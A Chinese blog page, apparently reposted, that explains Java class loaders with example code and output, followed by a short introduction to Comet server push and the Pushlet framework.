顾名思义,类加载器(class loader)用来加载 Java 类到 Java 虚拟机中。一般来说,Java 虚拟机使用 Java 类的方式如下:Java 源程序(.java 文件)在经过 Java 编译器编译之后就被转换成 Java 字节代码(.class 文件)。类加载器负责读取 Java 字节代码,并转换成 java.lang.Class 类的一个实例。每个这样的实例用来表示一个 Java 类。通过此实例的 newInstance()方法就可以创建出该类的一个对象。实际的情况可能更加复杂,比如 Java 字节代码可能是通过工具动态生成的,也可能是通过网络下载的。

基本上所有的类加载器都是 java.lang.ClassLoader 类的一个实例。下面详细介绍这个 Java 类。

java.lang.ClassLoader 类介绍

java.lang.ClassLoader 类的基本职责就是根据一个指定的类的名称,找到或者生成其对应的字节代码,然后从这些字节代码中定义出一个 Java 类,即 java.lang.Class 类的一个实例。除此之外,ClassLoader 还负责加载 Java 应用所需的资源,如图像文件和配置文件等。不过本文只讨论其加载类的功能。为了完成加载类的这个职责,ClassLoader 提供了一系列的方法,比较重要的方法如 表 1 所示。关于这些方法的细节会在下面进行介绍。


表 1. ClassLoader 中与加载类相关的方法
方法 说明
getParent() 返回该类加载器的父类加载器。
loadClass(String name) 加载名称为 name 的类,返回的结果是 java.lang.Class 类的实例。
findClass(String name) 查找名称为 name 的类,返回的结果是 java.lang.Class 类的实例。
findLoadedClass(String name) 查找名称为 name 的已经被加载过的类,返回的结果是 java.lang.Class 类的实例。
defineClass(String name, byte[] b, int off, int len) 把字节数组 b 中的内容转换成 Java 类,返回的结果是 java.lang.Class 类的实例。这个方法被声明为 final 的。
resolveClass(Class<?> c) 链接指定的 Java 类。

对于 表 1 中给出的方法,表示类名称的 name 参数的值是类的二进制名称。需要注意的是内部类的表示,如 com.example.Sample$1com.example.Sample$Inner 等表示方式。这些方法会在下面介绍类加载器的工作机制时,做进一步的说明。下面介绍类加载器的树状组织结构。

类加载器的树状组织结构

Java 中的类加载器大致可以分成两类,一类是系统提供的,另外一类则是由 Java 应用开发人员编写的。系统提供的类加载器主要有下面三个:

  • 引导类加载器(bootstrap class loader):它用来加载 Java 的核心库,是用原生代码来实现的,并不继承自 java.lang.ClassLoader
  • 扩展类加载器(extensions class loader):它用来加载 Java 的扩展库。Java 虚拟机的实现会提供一个扩展库目录。该类加载器在此目录里面查找并加载 Java 类。
  • 系统类加载器(system class loader):它根据 Java 应用的类路径(CLASSPATH)来加载 Java 类。一般来说,Java 应用的类都是由它来完成加载的。可以通过 ClassLoader.getSystemClassLoader() 来获取它。

除了系统提供的类加载器以外,开发人员可以通过继承 java.lang.ClassLoader 类的方式实现自己的类加载器,以满足一些特殊的需求。

除了引导类加载器之外,所有的类加载器都有一个父类加载器。通过 表 1 中给出的 getParent() 方法可以得到。对于系统提供的类加载器来说,系统类加载器的父类加载器是扩展类加载器,而扩展类加载器的父类加载器是引导类加载器;对于开发人员编写的类加载器来说,其父类加载器是加载此类加载器 Java 类的类加载器。因为类加载器 Java 类如同其它的 Java 类一样,也是要由类加载器来加载的。一般来说,开发人员编写的类加载器的父类加载器是系统类加载器。类加载器通过这种方式组织起来,形成树状结构。树的根节点就是引导类加载器。图 1 中给出了一个典型的类加载器树状组织结构示意图,其中的箭头指向的是父类加载器。


图 1. 类加载器树状组织结构示意图
类加载器树状组织结构示意图

代码清单 1 演示了类加载器的树状组织结构。


清单 1. 演示类加载器的树状组织结构
public class ClassLoaderTree { 

public static void main(String[] args) {
ClassLoader loader = ClassLoaderTree.class.getClassLoader();
while (loader != null) {
System.out.println(loader.toString());
loader = loader.getParent();
}
}
}

每个 Java 类都维护着一个指向定义它的类加载器的引用,通过 getClassLoader() 方法就可以获取到此引用。代码清单 1 中通过递归调用 getParent() 方法来输出全部的父类加载器。代码清单 1 的运行结果如 代码清单 2 所示。


清单 2. 演示类加载器的树状组织结构的运行结果
sun.misc.Launcher$AppClassLoader@9304b1 
sun.misc.Launcher$ExtClassLoader@190d11

代码清单 2 所示,第一个输出的是 ClassLoaderTree 类的类加载器,即系统类加载器。它是 sun.misc.Launcher$AppClassLoader 类的实例;第二个输出的是扩展类加载器,是 sun.misc.Launcher$ExtClassLoader 类的实例。需要注意的是这里并没有输出引导类加载器,这是由于有些 JDK 的实现对于父类加载器是引导类加载器的情况,getParent() 方法返回 null

在了解了类加载器的树状组织结构之后,下面介绍类加载器的代理模式。

类加载器的代理模式

类加载器在尝试自己去查找某个类的字节代码并定义它时,会先代理给其父类加载器,由父类加载器先去尝试加载这个类,依次类推。在介绍代理模式背后的动机之前,首先需要说明一下 Java 虚拟机是如何判定两个 Java 类是相同的。Java 虚拟机不仅要看类的全名是否相同,还要看加载此类的类加载器是否一样。只有两者都相同的情况,才认为两个类是相同的。即便是同样的字节代码,被不同的类加载器加载之后所得到的类,也是不同的。比如一个 Java 类 com.example.Sample,编译之后生成了字节代码文件 Sample.class。两个不同的类加载器 ClassLoaderAClassLoaderB 分别读取了这个 Sample.class 文件,并定义出两个 java.lang.Class 类的实例来表示这个类。这两个实例是不相同的。对于 Java 虚拟机来说,它们是不同的类。试图对这两个类的对象进行相互赋值,会抛出运行时异常 ClassCastException。下面通过示例来具体说明。代码清单 3 中给出了 Java 类 com.example.Sample


清单 3. com.example.Sample 类
package com.example; 

public class Sample {
private Sample instance;

public void setSample(Object instance) {
this.instance = (Sample) instance;
}
}

代码清单 3 所示,com.example.Sample 类的方法 setSample 接受一个 java.lang.Object 类型的参数,并且会把该参数强制转换成 com.example.Sample 类型。测试 Java 类是否相同的代码如 代码清单 4 所示。


清单 4. 测试 Java 类是否相同
public void testClassIdentity() { 
String classDataRootPath = "C:\\workspace\\Classloader\\classData";
FileSystemClassLoader fscl1 = new FileSystemClassLoader(classDataRootPath);
FileSystemClassLoader fscl2 = new FileSystemClassLoader(classDataRootPath);
String className = "com.example.Sample";
try {
Class<?> class1 = fscl1.loadClass(className);
Object obj1 = class1.newInstance();
Class<?> class2 = fscl2.loadClass(className);
Object obj2 = class2.newInstance();
Method setSampleMethod = class1.getMethod("setSample", java.lang.Object.class);
setSampleMethod.invoke(obj1, obj2);
} catch (Exception e) {
e.printStackTrace();
}
}

代码清单 4 中使用了类 FileSystemClassLoader 的两个不同实例来分别加载类 com.example.Sample,得到了两个不同的 java.lang.Class 的实例,接着通过 newInstance() 方法分别生成了两个类的对象 obj1obj2,最后通过 Java 的反射 API 在对象 obj1 上调用方法 setSample,试图把对象 obj2 赋值给 obj1 内部的 instance 对象。代码清单 4 的运行结果如 代码清单 5 所示。


清单 5. 测试 Java 类是否相同的运行结果
java.lang.reflect.InvocationTargetException 
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)
at java.lang.reflect.Method.invoke(Method.java:597)
at classloader.ClassIdentity.testClassIdentity(ClassIdentity.java:26)
at classloader.ClassIdentity.main(ClassIdentity.java:9)
Caused by: java.lang.ClassCastException: com.example.Sample
cannot be cast to com.example.Sample
at com.example.Sample.setSample(Sample.java:7)
... 6 more

代码清单 5 给出的运行结果可以看到,运行时抛出了 java.lang.ClassCastException 异常。虽然两个对象 obj1obj2 的类的名字相同,但是这两个类是由不同的类加载器实例来加载的,因此不被 Java 虚拟机认为是相同的。

了解了这一点之后,就可以理解代理模式的设计动机了。代理模式是为了保证 Java 核心库的类型安全。所有 Java 应用都至少需要引用 java.lang.Object 类,也就是说在运行的时候,java.lang.Object 这个类需要被加载到 Java 虚拟机中。如果这个加载过程由 Java 应用自己的类加载器来完成的话,很可能就存在多个版本的 java.lang.Object 类,而且这些类之间是不兼容的。通过代理模式,对于 Java 核心库的类的加载工作由引导类加载器来统一完成,保证了 Java 应用所使用的都是同一个版本的 Java 核心库的类,是互相兼容的。

不同的类加载器为相同名称的类创建了额外的名称空间。相同名称的类可以并存在 Java 虚拟机中,只需要用不同的类加载器来加载它们即可。不同类加载器加载的类之间是不兼容的,这就相当于在 Java 虚拟机内部创建了一个个相互隔离的 Java 类空间。这种技术在许多框架中都被用到,后面会详细介绍。

下面具体介绍类加载器加载类的详细过程。

加载类的过程

在前面介绍类加载器的代理模式的时候,提到过类加载器会首先代理给其它类加载器来尝试加载某个类。这就意味着真正完成类的加载工作的类加载器和启动这个加载过程的类加载器,有可能不是同一个。真正完成类的加载工作是通过调用 defineClass 来实现的;而启动类的加载过程是通过调用 loadClass 来实现的。前者称为一个类的定义加载器(defining loader),后者称为初始加载器(initiating loader)。在 Java 虚拟机判断两个类是否相同的时候,使用的是类的定义加载器。也就是说,哪个类加载器启动类的加载过程并不重要,重要的是最终定义这个类的加载器。两种类加载器的关联之处在于:一个类的定义加载器是它引用的其它类的初始加载器。如类 com.example.Outer 引用了类 com.example.Inner,则由类 com.example.Outer 的定义加载器负责启动类 com.example.Inner 的加载过程。

方法 loadClass() 抛出的是 java.lang.ClassNotFoundException 异常;方法 defineClass() 抛出的是 java.lang.NoClassDefFoundError 异常。

类加载器在成功加载某个类之后,会把得到的 java.lang.Class 类的实例缓存起来。下次再请求加载该类的时候,类加载器会直接使用缓存的类的实例,而不会尝试再次加载。也就是说,对于一个类加载器实例来说,相同全名的类只加载一次,即 loadClass 方法不会被重复调用。

下面讨论另外一种类加载器:线程上下文类加载器。

线程上下文类加载器

线程上下文类加载器(context class loader)是从 JDK 1.2 开始引入的。类 java.lang.Thread 中的方法 getContextClassLoader()setContextClassLoader(ClassLoader cl) 用来获取和设置线程的上下文类加载器。如果没有通过 setContextClassLoader(ClassLoader cl) 方法进行设置的话,线程将继承其父线程的上下文类加载器。Java 应用运行的初始线程的上下文类加载器是系统类加载器。在线程中运行的代码可以通过此类加载器来加载类和资源。

前面提到的类加载器的代理模式并不能解决 Java 应用开发中会遇到的类加载器的全部问题。Java 提供了很多服务提供者接口(Service Provider Interface,SPI),允许第三方为这些接口提供实现。常见的 SPI 有 JDBC、JCE、JNDI、JAXP 和 JBI 等。这些 SPI 的接口由 Java 核心库来提供,如 JAXP 的 SPI 接口定义包含在 javax.xml.parsers 包中。这些 SPI 的实现代码很可能是作为 Java 应用所依赖的 jar 包被包含进来,可以通过类路径(CLASSPATH)来找到,如实现了 JAXP SPI 的 Apache Xerces 所包含的 jar 包。SPI 接口中的代码经常需要加载具体的实现类。如 JAXP 中的 javax.xml.parsers.DocumentBuilderFactory 类中的 newInstance() 方法用来生成一个新的 DocumentBuilderFactory 的实例。这里的实例的真正的类是继承自 javax.xml.parsers.DocumentBuilderFactory,由 SPI 的实现所提供的。如在 Apache Xerces 中,实现的类是 org.apache.xerces.jaxp.DocumentBuilderFactoryImpl。而问题在于,SPI 的接口是 Java 核心库的一部分,是由引导类加载器来加载的;SPI 实现的 Java 类一般是由系统类加载器来加载的。引导类加载器是无法找到 SPI 的实现类的,因为它只加载 Java 的核心库。它也不能代理给系统类加载器,因为它是系统类加载器的祖先类加载器。也就是说,类加载器的代理模式无法解决这个问题。

线程上下文类加载器正好解决了这个问题。如果不做任何的设置,Java 应用的线程的上下文类加载器默认就是系统上下文类加载器。在 SPI 接口的代码中使用线程上下文类加载器,就可以成功的加载到 SPI 实现的类。线程上下文类加载器在很多 SPI 的实现中都会用到。

下面介绍另外一种加载类的方法:Class.forName

Class.forName

Class.forName 是一个静态方法,同样可以用来加载类。该方法有两种形式:Class.forName(String name, boolean initialize, ClassLoader loader)Class.forName(String className)。第一种形式的参数 name 表示的是类的全名;initialize 表示是否初始化类;loader 表示加载时使用的类加载器。第二种形式则相当于设置了参数 initialize 的值为 trueloader 的值为当前类的类加载器。Class.forName 的一个很常见的用法是在加载数据库驱动的时候。如 Class.forName("org.apache.derby.jdbc.EmbeddedDriver").newInstance() 用来加载 Apache Derby 数据库的驱动。

在介绍完类加载器相关的基本概念之后,下面介绍如何开发自己的类加载器。


开发自己的类加载器

虽然在绝大多数情况下,系统默认提供的类加载器实现已经可以满足需求。但是在某些情况下,您还是需要为应用开发出自己的类加载器。比如您的应用通过网络来传输 Java 类的字节代码,为了保证安全性,这些字节代码经过了加密处理。这个时候您就需要自己的类加载器来从某个网络地址上读取加密后的字节代码,接着进行解密和验证,最后定义出要在 Java 虚拟机中运行的类来。下面将通过两个具体的实例来说明类加载器的开发。

文件系统类加载器

第一个类加载器用来加载存储在文件系统上的 Java 字节代码。完整的实现如 代码清单 6 所示。


清单 6. 文件系统类加载器
public class FileSystemClassLoader extends ClassLoader { 

private String rootDir;

public FileSystemClassLoader(String rootDir) {
this.rootDir = rootDir;
}

protected Class<?> findClass(String name) throws ClassNotFoundException {
byte[] classData = getClassData(name);
if (classData == null) {
throw new ClassNotFoundException();
}
else {
return defineClass(name, classData, 0, classData.length);
}
}

private byte[] getClassData(String className) {
String path = classNameToPath(className);
try {
InputStream ins = new FileInputStream(path);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
int bufferSize = 4096;
byte[] buffer = new byte[bufferSize];
int bytesNumRead = 0;
while ((bytesNumRead = ins.read(buffer)) != -1) {
baos.write(buffer, 0, bytesNumRead);
}
return baos.toByteArray();
} catch (IOException e) {
e.printStackTrace();
}
return null;
}

private String classNameToPath(String className) {
return rootDir + File.separatorChar
+ className.replace('.', File.separatorChar) + ".class";
}
}

代码清单 6 所示,类 FileSystemClassLoader 继承自类 java.lang.ClassLoader。在 表 1 中列出的 java.lang.ClassLoader 类的常用方法中,一般来说,自己开发的类加载器只需要覆写 findClass(String name) 方法即可。java.lang.ClassLoader 类的方法 loadClass() 封装了前面提到的代理模式的实现。该方法会首先调用 findLoadedClass() 方法来检查该类是否已经被加载过;如果没有加载过的话,会调用父类加载器的 loadClass() 方法来尝试加载该类;如果父类加载器无法加载该类的话,就调用 findClass() 方法来查找该类。因此,为了保证类加载器都正确实现代理模式,在开发自己的类加载器时,最好不要覆写 loadClass() 方法,而是覆写 findClass() 方法。

FileSystemClassLoaderfindClass() 方法首先根据类的全名在硬盘上查找类的字节代码文件(.class 文件),然后读取该文件内容,最后通过 defineClass() 方法来把这些字节代码转换成 java.lang.Class 类的实例。

网络类加载器

下面将通过一个网络类加载器来说明如何通过类加载器来实现组件的动态更新。即基本的场景是:Java 字节代码(.class)文件存放在服务器上,客户端通过网络的方式获取字节代码并执行。当有版本更新的时候,只需要替换掉服务器上保存的文件即可。通过类加载器可以比较简单的实现这种需求。

NetworkClassLoader 负责通过网络下载 Java 类字节代码并定义出 Java 类。它的实现与 FileSystemClassLoader 类似。在通过 NetworkClassLoader 加载了某个版本的类之后,一般有两种做法来使用它。第一种做法是使用 Java 反射 API。另外一种做法是使用接口。需要注意的是,并不能直接在客户端代码中引用从服务器上下载的类,因为客户端代码的类加载器找不到这些类。使用 Java 反射 API 可以直接调用 Java 类的方法。而使用接口的做法则是把接口的类放在客户端中,从服务器上加载实现此接口的不同版本的类。在客户端通过相同的接口来使用这些实现类。网络类加载器的具体代码见 下载

在介绍完如何开发自己的类加载器之后,下面说明类加载器和 Web 容器的关系。


类加载器与 Web 容器

对于运行在 Java EE™ 容器中的 Web 应用来说,类加载器的实现方式与一般的 Java 应用有所不同。不同的 Web 容器的实现方式也会有所不同。以 Apache Tomcat 来说,每个 Web 应用都有一个对应的类加载器实例。该类加载器也使用代理模式,所不同的是它是首先尝试去加载某个类,如果找不到再代理给父类加载器。这与一般类加载器的顺序是相反的。这是 Java Servlet 规范中的推荐做法,其目的是使得 Web 应用自己的类的优先级高于 Web 容器提供的类。这种代理模式的一个例外是:Java 核心库的类是不在查找范围之内的。这也是为了保证 Java 核心库的类型安全。

绝大多数情况下,Web 应用的开发人员不需要考虑与类加载器相关的细节。下面给出几条简单的原则:

  • 每个 Web 应用自己的 Java 类文件和使用的库的 jar 包,分别放在 WEB-INF/classesWEB-INF/lib 目录下面。
  • 多个应用共享的 Java 类文件和 jar 包,分别放在 Web 容器指定的由所有 Web 应用共享的目录下面。
  • 当出现找不到类的错误时,检查当前类的类加载器和当前线程的上下文类加载器是否正确。

在介绍完类加载器与 Web 容器的关系之后,下面介绍它与 OSGi 的关系。

类加载器与 OSGi

OSGi™ 是 Java 上的动态模块系统。它为开发人员提供了面向服务和基于组件的运行环境,并提供标准的方式用来管理软件的生命周期。OSGi 已经被实现和部署在很多产品上,在开源社区也得到了广泛的支持。Eclipse 就是基于 OSGi 技术来构建的。

OSGi 中的每个模块(bundle)都包含 Java 包和类。模块可以声明它所依赖的需要导入(import)的其它模块的 Java 包和类(通过 Import-Package),也可以声明导出(export)自己的包和类,供其它模块使用(通过 Export-Package)。也就是说需要能够隐藏和共享一个模块中的某些 Java 包和类。这是通过 OSGi 特有的类加载器机制来实现的。OSGi 中的每个模块都有对应的一个类加载器。它负责加载模块自己包含的 Java 包和类。当它需要加载 Java 核心库的类时(以 java 开头的包和类),它会代理给父类加载器(通常是启动类加载器)来完成。当它需要加载所导入的 Java 类时,它会代理给导出此 Java 类的模块来完成加载。模块也可以显式的声明某些 Java 包和类,必须由父类加载器来加载。只需要设置系统属性 org.osgi.framework.bootdelegation 的值即可。

假设有两个模块 bundleA 和 bundleB,它们都有自己对应的类加载器 classLoaderA 和 classLoaderB。在 bundleA 中包含类 com.bundleA.Sample,并且该类被声明为导出的,也就是说可以被其它模块所使用的。bundleB 声明了导入 bundleA 提供的类 com.bundleA.Sample,并包含一个类 com.bundleB.NewSample 继承自 com.bundleA.Sample。在 bundleB 启动的时候,其类加载器 classLoaderB 需要加载类 com.bundleB.NewSample,进而需要加载类 com.bundleA.Sample。由于 bundleB 声明了类 com.bundleA.Sample 是导入的,classLoaderB 把加载类 com.bundleA.Sample 的工作代理给导出该类的 bundleA 的类加载器 classLoaderA。classLoaderA 在其模块内部查找类 com.bundleA.Sample 并定义它,所得到的类 com.bundleA.Sample 实例就可以被所有声明导入了此类的模块使用。对于以 java 开头的类,都是由父类加载器来加载的。如果声明了系统属性 org.osgi.framework.bootdelegation=com.example.core.*,那么对于包 com.example.core 中的类,都是由父类加载器来完成的。

OSGi 模块的这种类加载器结构,使得一个类的不同版本可以共存在 Java 虚拟机中,带来了很大的灵活性。不过它的这种不同,也会给开发人员带来一些麻烦,尤其当模块需要使用第三方提供的库的时候。下面提供几条比较好的建议:

  • 如果一个类库只有一个模块使用,把该类库的 jar 包放在模块中,在 Bundle-ClassPath 中指明即可。
  • 如果一个类库被多个模块共用,可以为这个类库单独的创建一个模块,把其它模块需要用到的 Java 包声明为导出的。其它模块声明导入这些类。
  • 如果类库提供了 SPI 接口,并且利用线程上下文类加载器来加载 SPI 实现的 Java 类,有可能会找不到 Java 类。如果出现了 NoClassDefFoundError 异常,首先检查当前线程的上下文类加载器是否正确。通过 Thread.currentThread().getContextClassLoader() 就可以得到该类加载器。该类加载器应该是该模块对应的类加载器。如果不是的话,可以首先通过 class.getClassLoader() 来得到模块对应的类加载器,再通过 Thread.currentThread().setContextClassLoader() 来设置当前线程的上下文类加载器。

总结

类加载器是 Java 语言的一个创新。它使得动态安装和更新软件组件成为可能。本文详细介绍了类加载器的相关话题,包括基本概念、代理模式、线程上下文类加载器、与 Web 容器和 OSGi 的关系等。开发人员在遇到 ClassNotFoundExceptionNoClassDefFoundError 等异常的时候,应该检查抛出异常的类的类加载器和当前线程的上下文类加载器,从中可以发现问题的所在。在开发自己的类加载器的时候,需要注意与已有的类加载器组织结构的协调。

posted @ 2010-04-24 22:26 junly 阅读(595) | 评论 (0)编辑 收藏


来自:http://www.pussor.com/?p=3

官网:http://www.pushlets.com/

Ajax等Web 2.0技术的广泛应用,推动了C/S向B/S的转变,如今很多应用如监控、即时通信等系统都需要实时同步服务器端和客户端的数据更新。Comet在这种需求下应运而生,本文简单介绍了基于Comet的开源框架Pushlet。

Comet基础

Comet 是一个用于描述客户端和服务器之间的交互的术语,即使用长期保持的 HTTP 连接来在连接保持畅通的情况下支持客户端和服务器间的事件驱动的通信。

—引用自“Comet的诱惑”

传统的web系统的工作流程是客户端发出请求,服务器端进行响应,而Comet则是在现有技术的基础上,实现服务器数据、事件等快速PUSH到客户端,所以会出现一个术语”服务器推“技术。

PUSH实现方式

JSP/SERVLET PUSH

原理:

利用JSP/SERVEL技术,在不关闭HTTP流的情况下PUSH数据到客户端浏览器;

实现:

基于 AJAX 的长轮询(long-polling)方式

AJAX 的出现使得 JavaScript 可以调用 XMLHttpRequest 对象发出 HTTP 请求,JavaScript 响应处理函数根据服务器返回的信息对 HTML 页面的显示进行更新。使用 AJAX 实现“服务器推”与传统的 AJAX 应用不同之处在于:

  1. 服务器端会阻塞请求直到有数据传递或超时才返回。
  2. 客户端 JavaScript 响应处理函数会在处理完服务器返回的信息后,再次发出请求,重新建立连接。
  3. 当客户端处理接收的数据、重新建立连接时,服务器端可能有新的数据到达;这些信息会被服务器端保存直到客户端重 新建立连接,客户端会一次把当前服务器端所有的信息取回。

Pushlet实例

以Pushlet中的ping案例来进行分析:

  1. 新建一个Web项目取名ping,并导入Pushlet的jar包;
  2. 在src目录下配置sources.properties、pushlet.properties文件;
  3. webroot目录下导入js-pushlet-client.js,js-pushlet-net.html;
  4. 新建TestEventPullSources.java;
  5. 新建index.html,引入js-pushlet-client.js;
  6. 新建pingok.jsp;
  7. 修改web.xml加上pushlet的servlet
  8. 打包、部署ping项目;



实例1            Pushlet CookBook部分翻译 + 注释

pushlet 2.0.3 源码分析(服务器端)

posted @ 2010-04-23 13:38 junly 阅读(6162) | 评论 (1)编辑 收藏